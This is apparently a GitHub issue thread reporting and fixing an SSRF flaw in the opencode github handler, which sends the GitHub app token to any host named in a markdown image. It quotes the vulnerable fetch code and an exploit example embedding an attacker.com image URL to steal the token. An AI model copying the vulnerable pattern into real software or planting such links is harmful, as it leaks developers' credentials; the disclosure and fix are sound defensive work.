fix(security): github handler exfiltrates app token via markdown image SSRF (code-scanning #65)

[LeXwDeX]

Why

CodeQL js/request-forgery (critical, CWE-918) — open alert #65, created by the 2026-06-29 scan after #424 landed, i.e. this flow was NOT covered by the previous SSRF fix (72afcd6).

Evidence

packages/opencode/src/cli/cmd/github.handler.ts:805-810:

const url = m[1]                       // parsed from ![](url) in issue/PR body markdown
const res = await fetch(url, {
  headers: { Authorization: `Bearer ${appToken}`, ... },  // GitHub app token sent to arbitrary host
})

Exploit path: a malicious repository embeds ![](https://attacker.com/pixel.png) in an issue body; any developer running the github command on that repo leaks their GitHub app token to the attacker's server.

What changed (proposed)

• Allowlist the fetch target host (e.g. only *.githubusercontent.com / the configured API host) before attaching the Authorization header, or strip the header for non-allowlisted hosts.
• Reject non-https schemes outright.

Acceptance

• CodeQL alert chore: sync main history into dev #65 closes on the next main scan.
• Unit test covering a non-allowlisted image host asserting no Authorization header leaves the process.
• specgit finish exit 0.

[LeXwDeX]

SpecGit delivery branch: feat/434-open-issues-batch (draft pull request #444).

[LeXwDeX]

Fixed in PR #444: handler now fetches the validated URL object only; guard extracted to isAllowedAttachmentUrl with unit tests (github-attachment-guard.test.ts). CodeQL alert #65 closes at the next default-branch scan (dev→main promotion).